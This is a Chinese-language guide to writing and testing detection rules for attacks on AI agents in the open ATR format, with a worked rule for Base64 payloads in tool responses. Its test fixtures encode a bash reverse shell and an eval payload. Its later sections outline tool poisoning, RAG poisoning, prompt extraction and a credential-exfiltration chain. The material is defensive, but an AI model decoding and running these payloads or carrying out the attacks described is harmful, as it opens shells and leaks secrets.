Contributing to ATR: How Security Researchers Can Shape AI Agent Security

ATR 開放,因為 AI 安全必須協作

Agent Threat Rules(ATR)不是專有偵測格式。它是開放 RFC — 公開讓社群審查、貢獻、共同改進的規格。我們相信 AI Agent 安全太關鍵、太快變動,任何單一公司無法獨力處理。

AI Agent 的威脅地景每天演化。新 MCP 工具每週上市。新型 prompt injection 技術從全球研究室和紅隊冒出來。封閉偵測系統永遠落後。一個開放的、由全球安全社群維護的系統,才有跟上的機會。

這份指南帶你走過貢獻偵測規則給 ATR 專案需要的一切。

什麼是好的 ATR 規則

寫第一條規則之前,先理解什麼把有效偵測規則和雜訊規則區隔開。

欄位覆蓋

好規則針對正確欄位。ATR 定義數個檢查欄位,選對的很關鍵:

• ●tool_response:MCP 工具回傳的輸出。Tool poisoning 和輸出注入攻擊在這發生。
• ●tool_description:工具的 metadata 和文件。惡意工具常把 prompt injection 藏在描述欄位。
• ●user_prompt:使用者給 Agent 的輸入。直接 prompt injection 攻擊針對這個欄位。
• ●model_response:Agent 產生的輸出。被入侵的 Agent 可能產出試圖外洩資料或操控使用者的回應。
• ●system_prompt:給 Agent 的系統層指令。修改或覆寫系統 prompt 的攻擊最危險。
• ●agent_context:Agent 可用的累積 context,包括對話歷史和檢索文件。RAG 汙染攻擊針對這個欄位。

Regex 品質

ATR 規則由 regex 驅動。你的 pattern 需要精準到抓得到真實攻擊,寬到處理變體,又不會對合法內容產生 false positive。

ATR 的好 regex 實作:

• ●用 \s+ 而不是字面空格處理空白變體
• ●用字元類別 [\x27"] 同時比對單引號和雙引號
• ●比對可變長內容時用 non-greedy 量詞 *?
• ●適當錨定 pattern — 反向 shell pattern 不該命中討論反向 shell 的部落格文章
• ●對惡意樣本和可能含類似關鍵字的良性內容都測試

False positive 管理

每條規則該記錄已知 false positive 情境。偵測 tool response 中「eval(」的規則會對每個 JavaScript 教學工具觸發。沒用。Pattern 該精準到能區分 eval(user_controlled_input) 和出現在文件或範例 code 中的 eval。

在規則 metadata 加 false_positives 區塊,描述規則可能對良性內容觸發的情境。這幫助使用者調整部署,也幫助審查者評估規則的實用價值。

寫你的第一條 ATR 規則

建立新 ATR 規則的逐步走查。我們寫一條偵測 tool response 中 Base64 編碼 payload 的規則 — 攻擊者用來規避簡單字串比對的技術。

步驟 1:選模板

從 ATR 規則模板開始:

id: ATR-2026-XXX
title: [描述性標題]
description: >
  [規則偵測什麼以及為什麼重要的
  多行描述]
severity: [critical|high|medium|low]
status: draft
category: [prompt-injection|tool-poisoning|credential-theft|privilege-escalation|data-exfiltration|code-execution|evasion|denial-of-service]
detection:
  field: [目標欄位]
  patterns:
    - "[regex pattern 1]"
    - "[regex pattern 2]"
  condition: [any|all]
false_positives:
  - "[已知 false positive 情境描述]"
metadata:
  author: [你的名字或代號]
  created: [YYYY-MM-DD]
  references:
    - [相關研究或公告的 URL]

步驟 2:定義偵測邏輯

對於 Base64 payload 偵測規則,關鍵洞察是 tool response 中的編碼 payload 通常遵循一個 pattern:一塊 Base64 字元,解碼後含有 shell 命令或 code 執行原語。

id: ATR-2026-045
title: Base64-Encoded Payload in Tool Response
description: >
  偵測 MCP 工具回應中解碼後含常見 shell 命令或
  code 執行原語的 Base64 編碼字串。
  攻擊者編碼 payload 以繞過純文字 pattern 比對。
severity: high
status: draft
category: evasion
detection:
  field: tool_response
  patterns:
    - "[A-Za-z0-9+/]{40,}={0,2}"
  decode:
    - encoding: base64
      then_match:
        - "/bin/(ba)?sh"
        - "eval\\s*\\("
        - "exec\\s*\\("
        - "subprocess"
        - "child_process"
  condition: any
false_positives:
  - "合法回傳 Base64 編碼影像或二進位資料的工具"
  - "含 Base64 編碼認證 token 的 API 回應"
metadata:
  author: Your Name
  created: 2026-03-06
  references:
    - https://panguard.ai/atr/ATR-2026-045

注意 decode 區塊 — 這是 ATR 的擴充,告訴偵測引擎先解碼命中的 Base64 字串,然後對解碼內容套用次要 pattern。這個兩階段方法抓編碼 payload,不會標合法 Base64 資料。

步驟 3:測試你的規則

每個 ATR 規則提交必須包含測試案例。建一個測試檔含正面(該命中)和負面(該不命中)樣本:

# tests/ATR-2026-045.test.yaml
positive:
  - description: "Base64-encoded bash reverse shell"
    field: tool_response
    value: "Results: L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC4xLzQ0NDQgMD4mMQ=="
  - description: "Base64-encoded eval payload"
    field: tool_response
    value: "Data: ZXZhbChhdG9iKCdZV3hsY25Rb0lra2dhR0YyWlNCaVpXVnVJR2hoWTJ0bFpDSXAnKSk="
negative:
  - description: "合法 Base64 影像資料"
    field: tool_response
    value: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk"
  - description: "短 Base64 字串(低於門檻)"
    field: tool_response
    value: "token: dGVzdA=="

步驟 4:提交規則

Fork ATR repo,把規則加進 rules/ 目錄,測試加進 tests/,然後開 PR。PR 模板會問:

• ●規則偵測的攻擊描述
• ●觀察到這個攻擊的真實世界範例或參考
• ●顯示真陽性和真陰性計數的測試結果
• ●根據對良性資料集測試的 false positive 評估

審查流程

每條 ATR 規則經歷三階段生命週期:

Draft

規則提交後審查中。Draft 規則在 repo 中可取得,但不包含在預設規則集。貢獻者和審查者可以測試並提供回饋。

Experimental

規則通過初次審查,顯示可靠偵測和可接受的 false positive rate。Experimental 規則包含在 --atr-rules experimental 集,給選擇早期偵測覆蓋的使用者。

Stable

規則在多個環境中驗證、有低於 1% 的記錄 false positive rate、對對抗規避嘗試測試過。Stable 規則包含在每個 Panguard Guard 安裝隨附的預設規則集。

從 draft 升到 experimental 需要至少兩位審查者批准。從 experimental 升到 stable 需要至少三個不同環境的部署資料。

需要覆蓋的領域

幾個攻擊類別在目前 ATR 規則集中覆蓋不足。代表高價值的貢獻機會:

行為偵測

目前 ATR 規則主要比對語法 pattern。我們需要偵測行為異常的規則:一個突然開始存取正常範圍外檔案的 Agent、一個回應長度劇變的工具、一個開始向新外部 domain 請求的 Agent。行為規則需要不同偵測模型 — 可能是跨多個互動的有狀態比對,而不是單一事件 pattern 比對。

RAG 汙染

Retrieval-Augmented Generation 引入新攻擊面。注入向量資料庫的文件可含隱藏指令,在被檢索時啟動。ATR 需要檢查 agent_context 欄位中嵌入檢索文件的 prompt injection pattern 的規則。這特別有挑戰性,因為檢索內容預期含可能類似注入 pattern 的自然語言。

模型萃取

對手可能用 Agent 互動系統性探測並萃取模型的系統 prompt、fine-tuning 資料或行為邊界。模型萃取的 ATR 規則會檢查遵循已知萃取 pattern 的 user_prompt 值序列:要求模型複述指令、要求揭露系統 prompt 結構的特定輸出格式、探測邊界條件。

多步攻擊鏈

有些攻擊只在多個互動中才看得到。單一讀檔請求無害。單一摘要資料請求無害。但讀憑證檔、摘要、把摘要送到外部 URL 是攻擊鏈。ATR 需要跨多個事件的規則關聯機制。

規則如何流到使用者

理解完整生命週期能激勵貢獻。一個社群貢獻的規則如何抵達 production:

1. 貢獻:安全研究者觀察到新攻擊 pattern 並寫一條 ATR 規則

2. 審查:規則就偵測精度、false positive rate、regex 品質審查

3. Experimental 部署:規則包含在 experimental 規則集,部署給 opt-in 使用者

4. 遙測:來自 experimental 部署的偵測事件提供真實世界驗證資料

5. Stable 升等:有足夠驗證後,規則進入預設 stable 集

6. Threat Cloud 分發:Stable 規則透過 Threat Cloud 分發給所有 Panguard Guard 安裝

7. 自動保護:每個 Panguard 使用者受益於新偵測能力

一位研究者的單一貢獻可在幾週內保護數千使用者。這就是開放偵測標準的槓桿。

開始

貢獻所需的一切都在 ATR repo:

• ●規格:含欄位定義和 schema 的完整 ATR 格式文件
• ●Schema:規則驗證的 JSON Schema — 提交前對它跑你的規則
• ●範例:含 9 個類別 69 條的完整初始規則集
• ●測試框架:CLI 工具對測試案例跑你的規則並測量偵測精度
• ●貢獻指南:提交和審查流程的詳細說明

Clone repo 開始探索:

git clone https://github.com/panguard-ai/atr-spec.git
cd atr-spec

# 用 schema 驗證規則
panguard atr validate rules/my-new-rule.yaml

# 跑測試
panguard atr test rules/my-new-rule.yaml tests/my-new-rule.test.yaml

AI Agent 安全是社群問題。ATR 是社群用來解決它的工具。你貢獻的每條規則,都讓用 AI Agent 建造的每個人的生態更安全。